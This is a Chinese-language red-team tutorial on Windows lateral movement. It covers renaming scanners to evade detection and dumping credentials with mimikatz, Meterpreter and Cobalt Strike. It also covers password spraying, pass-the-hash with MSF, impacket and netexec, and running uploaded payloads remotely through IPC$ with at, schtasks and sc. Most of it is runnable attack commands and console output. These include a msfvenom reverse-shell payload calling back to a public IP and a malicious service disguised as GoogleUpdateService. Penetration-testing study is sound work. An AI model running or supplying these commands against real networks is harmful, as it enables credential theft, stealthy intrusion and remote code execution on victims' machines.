横向移动
总述
本文讲解了 横向移动 当中 利用 系统工具 实现 横向移动的相关方法的总结。
神
横向移动大致上可以分为两类:
1. 通过内网的跳板机,利用漏洞攻击其他的内网主机,拿下其他内网主机的 Shell 落地,实现内网横移。
2. 通过信息收集得来的相关凭证信息,通过已有凭证的方法进行横向移动。
1. 凭据校验 - 获得正确的凭证
1. 密码喷洒。
2. PTH
3. PTT
2. 凭据利用
1. Windows 原生
1. IPC
2. smbclient
1. IPC + AT + Schtasks
2. IPC + sc
3. WMIC
4. WinRM
2. 协议类
1. RDP
2. SSH
3. SMB
我都有凭据了,为什么还要用上面说的那五种 凭据利用 的方式呢?
因为:
1、 RDP/SSH 登录容易被 SOC 检测(有人突然开交互式会话)。
2、 RDP 可能没开,WinRM 可能被关,SSH 未必装。
本文主要讲解的为 第二种 - 通过信息收集的相关凭据信息,利用这些讲解的手法实现 横向移动;因为 第一种 本质上其实就是属于 漏洞利用 而已,只是利用漏洞的结果是 实现了横向移动。

当攻击者在拿下一台内网主机后,通常会利用当前拿下的机器当作跳板,进一步攻击内网其他主机,扩大攻击影响范围。
横向移动有三个主要阶段:
1、侦察(主机信息收集、内网网络结构信息收集) - 确定目标
2、凭据/特权收集(主机密码凭证) - 确定凭据
3、对网络中其他计算机的访问权限 - 横向移动

1、内网信息收集 - 目标确定
1. 系统命令
仅通过系统自带的相关 命令 及 功能 进行 信息收集 收集 其他主机 的 内网IP 信息,帮我们锁定目标。
1)ARP缓存信息
查看本机存储的相关的 arp 缓存表。
arp -a

2)DNS 缓存查询
查看内网的 DNS 服务器,并且很多时候通过内网的 DNS 服务器还能判断当前主机是否在 域 环境当中,以及如果是的话,通过查询 DNS 服务器的方式,顺便直接定位 域控的名称 和 域控ip 了。
ipconfig /displaydns


3)本地 Host 文件
很多时候其实都忘了查看本地的 hosts 文件了,这个文件也是非常重要的,有时候包含了非常多的信息。
type C:\Windows\System32\drivers\etc\hosts

2. 工具
# Fscan
https://github.com/shadow1ng/fscan
# Kscan
https://github.com/lcvvvv/kscan
# dismap
https://github.com/zhzyker/dismap
原则
0. 工具分工合作,根据工具自身的优势专项的 仔细使用。
1. 安静
2. 不被发现
3. 尽量用正常的协议
4. 尽量用改造过的⼯具
dismap:
Web 资产扫的很好,也会带一些漏洞利用、指纹提取、协议、端口 等等。最常用于扫 Web。
Fscan:
扫服务、端口、一些普通的漏洞,但是我们 Fscan 都是二开的并且会很仔细的去用它,而不是一上来就当作默认的方式。
Kscan:
在内网当中去找存活,找完存活就不用了。
此处以 Fscan 进行相关的举例:
1. 根据不同的需求定向的使用命令进行操作的实现,而不是直接无脑的全扫,否则会让安全设备大量的告警,一下就被发现了。
2. 进行了二开,文件名肯定不为 fscan,而是改为正常的这种文件名进行掩盖,并且相关的选项也进行了修改,避免相关的 命令正则匹配检测,一下就被抓到了。
3. 禁 ping。
1. Fscan
1)主机发现(存活探测)
# fscan
mysql.exe -i 192.168.3.0/24 -np -m netbios

2)定向扫描 MS17-010 漏洞
# fscan
mysql.exe -i 192.168.3.0/24 -np -m ms17010

3)特殊端口资产扫描
# fscan
mysql.exe -i 192.168.3.0/24 -np -p 22,2222,3389,5900,1433,3066,1521,5432,6379

4)其他主机标签识别
这个命令的作用是:快速扫描 192.168.3.0/24 网段内的存活主机和开放端口等基础资产信息(不进行漏洞检测和密码爆破),并将结果保存到 res.txt 文件中。适合用于内网资产的初步探测。
# fscan
mysql.exe -i 192.168.3.0/24 -np -nobr -nopoc -o res.txt
-np:禁用 ping 探测(不使用 ICMP 协议检测主机是否存活)。
-nobr:禁用爆破功能(不尝试对主机的账号密码进行暴力破解)。
-nopoc:禁用 POC 检测(不检测系统或应用程序的漏洞利用 POC)。
-o res.txt:将扫描结果输出到 res.txt 文件中。

2. Cobalt Strike
1)梼杌


SharpOXID-Find 是用 .NET (通常是 .NET Framework 4.x) 编写的。
环境不正确。
| Windows Server 2008 R2 | .NET Framework 3.0 |

2)mingy-Qiao

Ladon


SharpWebScan

环境不正确。
| Windows Server 2008 R2 | .NET Framework 3.0 |

Fscan




3)神龙拉冬

Ladon
OnlinePC


ICMP


2、凭据信息收集
详见 - 1信息收集 - 主机级 - 密码获取 - Windows 密码凭据获取、域环境密码获取。
本文仅简单回顾一下最常用的方法。
1. Mimikatz
1、本地交互式
1)winlogon.exe - 明文 + hash
读取本地已登录进行过 且 通过 了的相关的用户凭证的获取 - winlogon.exe 是提供的密文密码,我们可以尝试获取相关的明文密码。
# 运行mimikatz
mimikztz.exe
# 提升权限,获取系统调试权限,调试权限是一种高级别的权限,允许用户调试或诊断系统上的其他进程。
privilege::debug
# 记录日志
log re.txt
# 抓取登录密码
sekurlsa::logonpasswords
(
# 域环境下使用 dcsync 权限尝试与 KDC 进行同步。
lsadump::dcsync /domain:qiaoshen.local /all /csv
)
# 退出 Mimikatz
exit
mimikatz.exe "log 1.txt" "privilege::debug" "sekurlsa::logonpasswords" "exit"



2)lsass.exe - hash
读取 SAM 数据库文件当中存储的密码密文的 NTLM Hash 的值。
# 运行mimikatz
mimikztz.exe
# 提升权限,获取系统调试权限,调试权限是一种高级别的权限,允许用户调试或诊断系统上的其他进程
privilege::debug
# 提升当前进程的令牌权限,使其具有管理员级别的访问权限。
token::elevate
# 记录日志
log res.txt
# 从 Windows 系统的安全账户管理器(SAM)数据库中提取密码哈希。(读取本地的 SAM,因此仅有本地的)
lsadump::sam
# 提取 Windows 系统中存储的敏感信息,如密码、密钥和其他凭据。
lsadump::secrets
mimikatz.exe "log 2.txt" "privilege::debug" "token::elevate" "lsadump::sam" "lsadump::secrets" "exit"



2、本地非交互式
我们有某台 Windows 主机的权限,但是并非是 cmd 这样命令行窗口 样式的 交互式 shell,那么针对这种情况,我们就可以一条命令实现信息收集并将结果保存到某个文件当中,我们直接再去读取那个文件即可。
# 执行命令并记录日志
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" > log.txt
mimikatz.exe "log re.txt" "privilege::debug" "sekurlsa::logonpasswords" "exit"

2. MSF
1、Meterpreter - Hashdump
这个模块会尝试从内存中提取 Windows 系统的密码哈希。
hashdump 需要 administrator 权限。
post/windows/gather/hashdump 模块需要 SYSTEM 权限。
run post/windows/gather/hashdump
# smart_hashdump 是一个更先进的模块,它使用不同的技术来提高获取哈希的成功率。
run post/windows/gather/smart_hashdump



2、Meterpreter - mimikatz
kiwi 是 Meterpreter 中 Mimikatz 的加载模块,它允许直接在 Meterpreter 会话中使用 Mimikatz 功能。
1)加载 mimikatz - load kiwi
# 加载mimikatz模块
load kiwi
# 查看模块功能帮助
help kiwi
| 命令 | 中文解释 |
|---|---|
| creds_all | 检索所有凭据(已解析) |
| creds_kerberos | 检索 Kerberos 凭据(已解析) |
| creds_livessp | 检索 Live SSP 凭据 |
| creds_msv | 检索 LM/NTLM 凭据(已解析) |
| creds_ssp | 检索 SSP 凭据 |
| creds_tspkg | 检索 TsPkg 凭据(已解析) |
| creds_wdigest | 检索 WDigest 凭据(已解析) |
| dcsync | 通过 DCSync 检索用户账户信息(未解析) |
| dcsync_ntlm | 通过 DCSync 检索用户账户的 NTLM 哈希、SID 和 RID |
| golden_ticket_create | 创建黄金 Kerberos 票据 |
| kerberos_ticket_list | 列出所有 Kerberos 票据(未解析) |
| kerberos_ticket_purge | 清除所有正在使用的 Kerberos 票据 |
| kerberos_ticket_use | 使用 Kerberos 票据 |
| kiwi_cmd | 执行任意 mimikatz 命令(未解析) |
| lsa_dump_sam | 转储 LSA SAM(未解析) |
| lsa_dump_secrets | 转储 LSA 机密(未解析) |
| password_change | 更改用户的密码 / 哈希 |
| wifi_list | 列出当前用户的 WiFi 配置文件 / 凭据 |
| wifi_list_shared | 列出共享的 WiFi 配置文件 / 凭据(需要 SYSTEM 权限) |

2)列举系统中的密码(明文 + hash) - creds_all
creds_all

3)读取 sam 文件
lsa_dump_sam

4)使用 mimikatz 原生 命令行 - kiwi_cmd
# 查看基础命令
kiwi_cmd -h
# 查看有哪些模块,kiwi_cmd命令后面接mimikatz的模块命令
kiwi_cmd ::
# 从 Windows 的 sam 文件中读取密码 hash 值
kiwi_cmd lsadump::sam
# 获取明文密码
kiwi_cmd sekurlsa::logonpasswords
其他的 mimikatz 原生命令同理。



3. Cobalt Strike
1)hashdump
hashdump


2)Logonpasswords
logonpasswords 命令尝试从当前会话中获取当前登录用户的明文密码。
logonpasswords


3)Mimikatz 集成
CobaltStrike 集成了 Mimikatz,可以直接在 beacon 会话中运行 Mimikatz 命令。
# 获取当前会话的明文密码
mimikatz sekurlsa::logonpasswords
# 读取 Windows 的 SAM 数据库并转储密码哈希
mimikatz lsadump::sam
其他 mimikatz 原生命令同理



CobaltStrike凭证视图


3、凭据验证
1)密码喷洒
可以指定字典 - 也就是暴力破解:
1. 已知完整凭据 - 平局喷洒
2. 已知密码 - 爆破用户名
3. 已知用户名 - 爆破密码
4. 爆破 服务 - SMB、wmi...
因此我们在喷洒之前,需要先确定好目标的相关 密码基线 的情况,是否有相应的失败错误的锁定机制,要是全面影响业务就 GG 了。
1. Crackmapexec

--local-auth 说明是在本地用户的喷洒,不加 --local-auth 默认为 域内用户的喷洒。
crackmapexec smb HOST -u Username -p password --local-auth --command
# 单 IP
crackmapexec smb 10.10.10.20 -u administrator -p '1qaz@WSX' --local-auth --users
crackmapexec smb 10.10.10.20 -u administrator -p '1qaz@WSX' --local-auth --shares
# IP 段
crackmapexec smb 10.10.10.10-30 -u administrator -p '1qaz@WSX' --local-auth
# 文件
crackmapexec smb targets.txt -u administrator -p '1qaz@WSX' --local-auth




2. Cobalt Strike
需要已经有过权限才能在 CS 上进行 PTP(Pass The Password)

2)PTH
其实 PTH 已经是在 内网横移了,PTH 成功 则 内网横移 成功了已经。
可以通过 PTH 一个一个验证碰撞是否可以成功横移到其他的内网主机;如果碰撞成功了那么直接就内网横移成功了。
PTH(Pass The Hash)是一种利用NTLM或LM哈希值而非明文密码进行身份验证的攻击技术。攻击者获取用户密码的哈希值后,可以直接使用该哈希值在网络中进行横向移动,无需破解出明文密码。
是域环境当中 横向移动的 核心方法。
但是无论是在 域环境 当中 还是在 工作组 当中,都可以使用该方法 进行横向移动。
只不过在工作组当中,很少有在一台主机当中存在另一台主机相关 密码凭证 的情况,因此其实大部分情况 PTH 都是在域环境当中存在。
攻击原理
1. NTLM认证机制:
- Windows系统使用 NTLM 协议进行身份验证时,实际上使用的是密码哈希值而非明文密码。
- 服务器端并不验证原始密码,只验证客户端提供的哈希值是否正确。
2. 哈希重用特性:
- 同一账户在不同机器上的密码哈希值相同 (除非启用了 CredSSP 或限制 NTLM )
- 攻击者获取的哈希值可在整个域环境中重用。
3. 协议设计缺陷:
- NTLM 协议设计时未考虑哈希值本身作为凭证的安全风险。
- 服务器无法区分哈希值是来自合法计算还是被窃取的。
前提条件
1. 获取有效的密码哈希值
-
必须已获取目标用户的 NTLM 或 LM 哈希值
-
常见获取方式:
- 内存提取(如LSASS进程)
- SAM数据库提取
- 域控制器上的NTDS.dit文件
- 网络嗅探NTLM认证流量
2. 目标系统使用NTLM认证
-
目标服务/系统 必须允许 NTLM 认证,如果系统强制使用 Kerberos 认证,PTH 攻击将失效
-
常见支持NTLM的服务:
- SMB文件共享
- RDP远程桌面(需特殊配置)
- Windows远程管理(WinRM)
- IIS Web应用(配置NTLM认证时)
3. 网络可达性
-
攻击者必须能够通过网络访问目标系统
-
相关端口必须开放:
SMB: 445/TCP
RDP: 3389/TCP
WinRM: 5985/5986(TCP)任意一个开启即可尝试 PTH。
4. 账户权限
-
使用的哈希值对应的账户在目标系统上需要有足够的权限
-
常见有效目标账户:
- 本地管理员组成员
- 域管理员组成员
- 具有远程登录权限的账户
KB2871997 补丁:2014 年 5 月 13 日微软发布了更新补丁 KB2871997,禁止本地管理员账户(除 Administrator (SID 500)之外)用于远程连接,这样就无法以本地管理员用户的权限执行 wmi、PSEXEC、schtasks、at 和访问文件共享。
攻击流程
1. 信息收集阶段:
- 获取目标系统的用户哈希值(通过 LSASS 内存转储、SAM 数据库提取等方式)。
- 识别网络中的其他可访问系统。
2. 哈希传递阶段:
- 使用获取的哈希值尝试对其他系统进行身份验证。
- 常见工具:Mimikatz、Impacket 套件中的 psexec.py 等。
3. 权限提升与横向移动:
- 成功验证后,在目标系统执行命令。
- 进一步收集新系统的哈希值,继续横向移动。
4. 目标达成:
- 获取域管理员等高权限账户哈希。
- 控制整个域环境。

利用
1)工作组 PTH
1. MSF
psexec 横向移动
exploit/windows/smb/psexec 模块
setg proxies socks5:127.0.0.1:4080
use exploit/windows/smb/psexec
set rhosts 10.10.10.20
set smbuser administrator
set smbpass aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24
set lport 4206
run


2. Cobalt Strike
其实用 Beacon TCP 或者 Beacon SMB 的监听器都可以





# 核心本质解析
rev2self
# 还原token令牌
pth PC\Administrator 161cff084477fe596a5db81874498a24
# 使用mimikatz执行PTH操作
# mimikatz's sekurlsa::pth /user:"Administrator" /domain:"PC" /ntlm:161cff084477fe596a5db81874498a24 /run:"%COMSPEC% /c echo 50465323d7f > \\.\pipe\03c5e4"
jump psexec WEB tcp1
# 生成 windows/beacon_bind_tcp (0.0.0.0:4443) 对应的 payload (\\WEB\ADMIN$\c930c4b.exe),并上传到WEB主机
# 在WEB主机通过 Service Control Manager 创建并启动服务 c930c4b 运行 payload
beacon> rev2self
[*] Tasked beacon to revert token
beacon> pth PC\Administrator 161cff084477fe596a5db81874498a24
[*] Tasked beacon to run mimikatz's sekurlsa::pth /user:"Administrator" /domain:"PC" /ntlm:161cff084477fe596a5db81874498a24 /run:"%COMSPEC% /c echo 50465323d7f > \\.\pipe\03c5e4" command
beacon> jump psexec WEB tcp1
[*] Tasked beacon to run windows/beacon_bind_tcp (0.0.0.0:4443) on WEB via Service Control Manager (\\WEB\ADMIN$\c930c4b.exe)
[+] host called home, sent: 640563 bytes
[+] Impersonated PC\Administrator
[+] received output:
Started service c930c4b on WEB
[+] established link to child beacon: 10.10.10.20
[+] received output:
user : Administrator
domain : PC
program : C:\Windows\system32\cmd.exe /c echo 50465323d7f > \\.\pipe\03c5e4
impers. : no
NTLM : 161cff084477fe596a5db81874498a24
| PID 4012
| TID 1172
| LSA Process is now R/W
| LUID 0 ; 6146101 (00000000:005dc835)
\_ msv1_0 - data copy @ 00000000016DE7E0 : OK !
\_ kerberos - data copy @ 000000000161E8E8
\_ aes256_hmac -> null
\_ aes128_hmac -> null
\_ rc4_hmac_nt OK
\_ rc4_hmac_old OK
\_ rc4_md4 OK
\_ rc4_hmac_nt_exp OK
\_ rc4_hmac_old_exp OK
\_ *Password replace @ 0000000001B4C668 (16) -> null
3. impacket
wmiexec
# 执行 ipconfig 命令
python3 wmiexec.py -hashes :161cff084477fe596a5db81874498a24 WEB/[email protected] "ipconfig"
# 中文编码解决乱码。
python3 wmiexec.py -hashes :161cff084477fe596a5db81874498a24 WEB/[email protected] "ipconfig" -codec gbk
# 获取 CMD_Shell
python3 wmiexec.py -hashes :161cff084477fe596a5db81874498a24 WEB/[email protected] -codec gbk




smbexec
# 得到 CMD_Shell
python3 smbexec.py -hashes :161cff084477fe596a5db81874498a24 [email protected] -codec gbk
# 执行命令
smbexec 不能直接执行命令。


4. netexec
smb
proxychains -q netexec smb 10.10.10.20 -u administrator -H 161cff084477fe596a5db81874498a24 --local-auth
proxychains -q netexec smb 10.10.10.20 -u administrator -H 161cff084477fe596a5db81874498a24 --local-auth -x whoami





wmi
proxychains -q netexec wmi 10.10.10.20 -u administrator -H 161cff084477fe596a5db81874498a24 --local-auth
proxychains -q netexec wmi 10.10.10.20 -u administrator -H 161cff084477fe596a5db81874498a24 --local-auth -x whoami

winrm
proxychains -q netexec winrm 10.10.10.20 -u administrator -H 161cff084477fe596a5db81874498a24 --local-auth
proxychains -q netexec winrm 10.10.10.20 -u administrator -H 161cff084477fe596a5db81874498a24 --local-auth -x whoami

# 开启 winrm 方法
winrm quickconfig
(shell winrm quickconfig -q)
# 允许远程主机访问及访问远程主机
# WinRM 只允许当前域用户或者处于本机 TrustedHosts 列表中的远程主机进行访问
winrm set winrm/config/client @{TrustedHosts="*"}


5. Mimikatz
当我们获得了内网中一台主机的 NTLM 哈希值,我们可以利用 mimikatz 对这个主机进行哈希传递攻击,执行命令成功后将会反弹回 cmd。
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:administrator /domain:10.0.1.143 /ntlm:161cff084477fe596a5db81874498a24" exit
net use \\10.10.10.20\C$
dir \\10.10.10.20\C$
copy payload \\10.10.10.20\C$
net use z: \\10.10.10.20\C$
不知道为什么还是需要经过域的认证,域环境现在有问题无法使用
域环境 PTH
1. MSF
psexec
exploit/windows/smb/psexec 模块
setg proxies socks5:127.0.0.1:4080
use exploit/windows/smb/psexec
set smbdomain qiaoshen.local
set smbuser administrator
set smbpass aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24
set lport 4206
run
msf6 > use exploit/windows/smb/psexec
msf6 exploit(windows/smb/psexec) > set rhosts 10.10.10.10
msf6 exploit(windows/smb/psexec) > set smbdomain qiaoshen.local
msf6 exploit(windows/smb/psexec) > set smbuser QiaoShen
msf6 exploit(windows/smb/psexec) > set smbpass aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24
msf6 exploit(windows/smb/psexec) > run
2. Cobalt Strike
同理一样的,只是凭据选择的是 域环境的 用户凭据而已。
3. impacket
域环境出现了一些问题,无法实操截图。
wmiexec
# 执行 ipconfig 命令
proxychains -q python3 wmiexec.py -hashes :161cff084477fe596a5db81874498a24 qiaoshen/[email protected] -codec gbk "ipconfig"
# 获取 CMD_Shell
proxychains -q python3 wmiexec.py -hashes :161cff084477fe596a5db81874498a24 qiaoshen/[email protected] -codec gbk
smbexec
# 得到 CMD_Shell
proxychains -q python3 smbexec.py -hashes :161cff084477fe596a5db81874498a24 qiaoshen/[email protected]
# 执行命令
smbexec 不能直接执行命令。
4. netexec
域环境出现了一些问题,无法实操截图。
smb
proxychains -q netexec smb 10.10.10.10 -u QiaoShen -H 161cff084477fe596a5db81874498a24 -d qiaoshen.local --codec gbk
proxychains -q netexec smb 10.10.10.20 -u QiaoShen -H 161cff084477fe596a5db81874498a24 --d qiaoshen.local -x whoami --codec gbk
wmi
proxychains -q netexec wmi 10.10.10.10 -u QiaoShen -H 161cff084477fe596a5db81874498a24 --d qiaoshen.local --codec gbk
proxychains -q netexec wmi 10.10.10.10 -u QiaoShen -H 161cff084477fe596a5db81874498a24 --d qiaoshen.local -x whoami --codec gbk
5. Mimikatz
当我们获得了内网中一台主机的 NTLM 哈希值,我们可以利用 mimikatz 对这个主机进行哈希传递攻击,执行命令成功后将会反弹回 cmd。
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:QiaoShen /domain:qiaoshen.local /ntlm:161cff084477fe596a5db81874498a24" exit
net use \\dc\C$
dir \\dc\C$
copy payload \\dc\C$
net use z: \\DC\C$
需要经过域的认证,域环境现在有问题无法截图
3)PTT
4、横向移动
1. 系统内置工具
1)IPC$ 方法
IPC$ (Internet Process Connection) 是共享 "命名管道" 的资源,它是为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问。
利用 IPC$,连接者与目标主机利用建立的连接可以得到目标主机上的目录结构、用户列表等信息。
使用条件
1. 开放了139、445端口
- 我们可以通过 139 和 445 端口来实现对共享文件/打印机的访问,因此一般来讲,IPC$ 连接是需要 139 或 445 端口来支持的。
- IPC$ 连接可以实现远程登陆及对默认共享的访问,而 139 端口的开启表示 netbios 协议的应用。
- IPC$ 连接默认会走 445 端口,不通的话则会走 139 端口,这两个端口都可以单独实现文件共享。
2. 目标开启 IPC$ 文件共享服务及默认共享
- 默认共享是为了方便管理员远程管理而默认开启的共享。
- 所有逻辑磁盘(c、d、e…)和系统目录 WINNT 或 WINDOWS(ADMIN),通过 IPC 连接可以实现对这些默认共享的访问。
3. 需要目标机器的管理员账号和密码
- 默认情况下只有被添加到远程计算机管理员组的域用户(域管用户)有权限对 admin$ 目录建立IPC 连接。
- 本地的 Administrator 用户也可以,如果启用了该用户,那么也可以使用 Administrator 用户远程连接。
常用命令
- KB2871997 补丁:2014 年 5 月 13 日微软发布了更新补丁 KB2871997,禁止本地管理员账户(除 Administrator (SID 500)之外)用于远程连接,这样就无法以本地管理员用户的权限执行 wmi、PSEXEC、schtasks、at 和访问文件共享。
- 因此连接的时候一定要用 administrator 进行连接,administrators 组当中的成员都不行,否则会一直提示 拒绝访问。
- 从 Vista/Win2008 开始,即使是本地 Administrators 组用户,远程访问共享时默认会被“降级”为普通用户令牌。


查看本地共享
# net share 只能查看自己的共享情况信息
net share
# 查看别人的需要用到 net view
net view \\目标主机IP
查看连接情况
net use


连接
net use \\10.10.10.30\C$ /user:username password
net use \\10.10.10.30\C$ /user:administrator 123456

查看目标主机时间
net time \\10.10.10.20

文件上传下载
# 查看
dir \\10.10.10.20\C$
# 上传
copy payload.exe \\10.10.10.20\C$\temp\payload.exe
# 下载
copy \\10.10.10.20\C$\temp\payload.exe C:\temp\payload1.exe


查看/删除/增加 共享的资源
# net share 只能查看自己的共享情况信息
net share
# 查看别人的需要用到 net view
net view \\目标主机IP
# 删除共享
net share C$ /del
# 增加共享
net share C$=C:\
# 查看相关帮助
net share /?



开放/关闭 IPC$ 共享
# 开放 IPC$ 共享
net share IPC$
# 关闭 IPC$ 共享
net share IPC$ /del

磁盘映射 - 映射共享磁盘到本地
net use z: \\10.10.10.20\C$ /user:administrator 123456


删除连接
net use \\10.10.10.20\C$ /del
net use * /del /y


IPC$ 连接失败 常见错误
| 错误号 | 描述 | 错误原因 |
|---|---|---|
| 5 | 拒绝访问 | 很可能你使用的用户不是管理员权限,先提升权限 |
| 51 | Windows 无法找到网络路径 | 网络有问题 |
| 53 | 找不到网络路径 | ip 地址错误;目标未开机;目标 lanmanserver 服务未启动;目标有防火墙(端口过滤) |
| 67 | 找不到网络名 | 你的 LanManWorkStation 服务未启动;目标删除了 ipc$ |
| 1219 | 提供的凭据与已存在的凭据集冲突 | 你已经和对方建立了一个 ipc$,请删除后再连 |
| 1326 | 未知的用户名或错误密码 | 用户名或密码错误 |
| 1385 | 登录失败:未授予用户在此计算机上的请求登录类型 | 可能是因为未授予用户登录类型 |
| 1792 | 试图登录,但是网络登录服务没有启动 | 目标 NetLogon 服务未启动,连接域控会出现此情况 |
| 2242 | 此用户的密码已经过期 | 目标有帐号策略,强制定期要求更改密码 |
利用
1. IPC$ + AT - 计划任务
0、AT 简介
AT命令可在指定时间和日期、在指定计算机上运行命令和程序。
AT命令在 windows server 2012 等新版系统中已被弃用。
AT命令如果找不到网络路径,则判断是目标主机已禁用 Task Scheduler 服务。
问题:执行 at 命令时,显示绑定句柄无效。
解决:echo 10.10.11.100 RemoteHost > C:\Windows\System32\drivers\etc\hosts
注意:
AT 和 Schtasks 虽然都是计划任务,并且在 Windows 上查看定时任务的地方相同,但是
无法使用 AT 命令 查看、修改 Schtasks 创建的相关任务;
创建任务的任务名
AT1
AT2
AT3
使用 Schtasks 命令 却可以 查看、修改 AT 创建的相关任务。

1、建立 IPC 连接
shell net use \\10.10.10.20\C$ /user:administrator 1qaz@WSX


2、上传 payload
copy C:\temp\qiaoshen.exe \\10.10.10.20\C$\temp\qiaoshen.exe

虽然我们把 payload 上传到了目标主机上,但是我们无法远程的使 目标主机 执行我们的 payload,因此此时我们需要使用 at、schtasks 等计划任务的方式、或者 sc 的服务这种方式实现目标主机执行我们的 payload 实现上线。

3、查看远程主机时间
定时任务肯定是根据对方目标主机的事件来进行设定的。
net time \\10.10.10.20

4、设定定时任务 - 执行 payload 实现上线
# 设定定时任务
at \\10.10.10.20 22:42:00 C:\temp\qiaoshen.exe
# 查看定时任务
at \\10.10.10.20


成功上线。

5、AT命令删除任务
at \\computer id /del
at \\10.10.10.20 1 /del

2. IPC$ + Schtasks - 计划任务
0、Schtasks 简介
由于 AT 在 windows server 2012 等新版系统中已被弃用,所以需要使用 schtasks 命令代替。
允许管理员创建、删除、查询、更改、运行和中止本地或远程系统上的计划任务。
注意:
AT 和 Schtasks 虽然都是计划任务,并且在 Windows 上查看定时任务的地方相同,但是他们自己的相关计划任务并不互通,不能互相操作。
无法使用 AT 命令 查看、修改 Schtasks 创建的相关任务;
也无法使用 Schtasks 命令 查看、修改 AT 创建的相关任务。
| 命令 / 参数 | 功能描述 | 补充说明 |
|---|---|---|
| /Create | 创建新计划任务 | 用于初始化一个新的计划任务配置,需配合其他参数(如任务名称、运行程序等)使用 |
| /Delete | 删除计划任务 | 执行后会移除指定的计划任务,通常需通过 /tn 参数指定要删除的任务名称 |
| /Query | 显示所有计划任务 | 运行后可列出当前系统中已创建的全部计划任务,便于查看任务列表及基本信息 |
| /Change | 更改计划任务属性 | 用于修改已存在计划任务的属性,例如任务运行频率、关联程序路径等,需指定目标任务(/tn) |
| /Run | 按需运行计划任务 | 无需等待任务的预设计划时间,手动触发指定计划任务立即执行,需通过 /tn 指定任务 |
| /End | 中止当前正在运行的计划任务 | 当某计划任务处于运行状态时,可通过此命令强制停止该任务,需指定目标任务(/tn) |
| /ShowSid | 显示与计划任务名称相应的安全标识符(SID) | 输入任务名称(配合 /tn)后,返回该任务对应的系统安全标识符,用于权限管理相关场景 |
| /sc | 指定计划类型 | 必需参数,用于定义任务的执行周期,有效值包括:MINUTE(按分钟)、HOURLY(按小时)、DAILY(按天)、WEEKLY(按周)、MONTHLY(按月)、ONCE(仅一次)、ONSTART(系统启动时)、ONLOGON(用户登录时)、ONIDLE(系统空闲时) |
| /mo | 指定任务在计划类型内的运行频率 | 对 MONTHLY 计划类型为必需参数;对 MINUTE、HOURLY、DAILY、WEEKLY 计划类型为可选参数,默认值为 1(即按计划类型最小单位执行,如 /sc DAILY /mo 1 表示每天执行) |
| /tr | 指定任务运行的程序或命令 | 若未填写程序路径,SchTasks.exe 会默认从 Systemroot\System32 目录下查找目标程序 |
| /tn | 指定任务的名称 | 用于标识计划任务的唯一名称,是 /Create、/Delete、/Change 等多数命令的核心关联参数,需确保任务名称唯一 |
| /? | 显示帮助消息 | 运行后列出所有 SchTasks.exe 命令及参数的详细说明,用于查询参数用法 |
# 创建任务
schtasks /create /tn task1 /s ip /RU system /tr 命令 /sc MINUTE /mo 1 /U 域\域用户|用户 /P 用户密码
# 运行任务
schtasks /run /tn task1 /s ip /U 域\域用户|用户 /P 用户密码
# 删除任务
schtasks /F /delete /tn task1 /s ip /U 域\域用户|用户 /p 用户密码
1、建立 IPC 连接
shell net use \\10.10.10.20\C$ /user:administrator 1qaz@WSX


2、上传 payload
copy C:\temp\qiaoshen.exe \\10.10.10.20\C$\temp\qiaoshen.exe

虽然我们把 payload 上传到了目标主机上,但是我们无法远程的使 目标主机 执行我们的 payload,因此此时我们需要使用 at、schtasks 等计划任务的方式、或者 sc 的服务这种方式实现目标主机执行我们的 payload 实现上线。

3、查看远程主机时间
定时任务肯定是根据对方目标主机的事件来进行设定的。
net time \\10.10.10.20

4、创建定时任务
schtasks /create /tn task1 /s ip /RU system /tr 命令 /sc MINUTE /mo 1 /U 域\域用户|用户 /P 用户密码
# 虽然此时 IPC 已连接,但远程操作 10.10.10.20 还是需要验证。
schtasks /create /tn qiaoshen /s 10.10.10.20 /RU SYSTEM /tr "cmd.exe /c C:\temp\qiaoshen.exe" /sc minute /mo 1 /U administrator /p 1qaz@WSX

5、查看定时任务
# 切换编码
chcp 65001
# 查看目标主机上的计划任务
schtasks /query /s 10.10.10.20 /tn qiaoshen /U administrator /p 1qaz@WSX
需要 chcp 65001 才能查看
不更改代码页编码,直接查看可能会显示如下错误:



CS 无法查看,因为 Cobalt Strike 无法 更改代码页编码。
不是一个长效的 保持连接的TCP_Shell,而是心跳包发送每一个任务,并不能连续。

成功上线。

6、删除计划任务
schtasks /delete /tn qiaoshen /s 10.10.10.20 /f
schtasks /delete /tn qiaoshen /s 10.10.10.20 /u administrator /p 1qaz@WSX /f
IPC$ + SC - 服务
0、SC 简介
sc 命令可以注册、删除和查询系统服务。
注意:
服务的 payload 是特别的类型,是 exe-service 类型的,需要与 服务控制器 不断通信。
详情可参考:
3提权 - Windows 提权 - 6)Windows 系统服务漏洞 - 2)可信任服务路径 - 4.生成 payload
# 本地系统启动时启动服务(binpath= 和 password= 后跟的空格 “ ” 是必须存在的,格式就是这样。)
sc \\10.10.10.20 create test binpath= "c:\xx.exe" password= 1qaz@WSX1
# 当 "mingy\administrator" 用户登录时启动服务
sc \\10.10.10.20 create test binpath= "c:\xx.exe" obj= "WEB\administrator" password= 1qaz@WSX1
# sc启动指定服务
sc \\10.10.10.20 start test
# sc停止指定服务
sc \\10.10.10.20 stop test
sc \\10.10.10.20 delete test
注意:binpath设置选项 '=' 后面有一个空格
1、建立 IPC 连接
shell net use \\10.10.10.20\C$ /user:administrator 1qaz@WSX


2、上传 payload
# 胜场payload(MSF)
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=120.55.169.128 lport=4205 -f exe-service -o qiaoshen_service.exe
# 上传 payload
copy C:\temp\qiaoshen_service.exe \\10.10.10.20\C$\temp\qiaoshen_service.exe

虽然我们把 payload 上传到了目标主机上,但是我们无法远程的使 目标主机 执行我们的 payload,因此此时我们需要使用 at、schtasks 等计划任务的方式、或者 sc 的服务这种方式实现目标主机执行我们的 payload 实现上线。

3、创建服务
# sc 创建服务
sc \\10.10.10.20 create GoogleUpdateService binPath= "C:\temp\qiaoshen_service.exe" displayname= "displayname_nothingjustdisplay" start= auto
# sc 查询服务信息
sc \\10.10.10.20 qc GoogleUpdateService


4、启动服务
sc \\10.10.10.20 start GoogleUpdateService

成功上线。
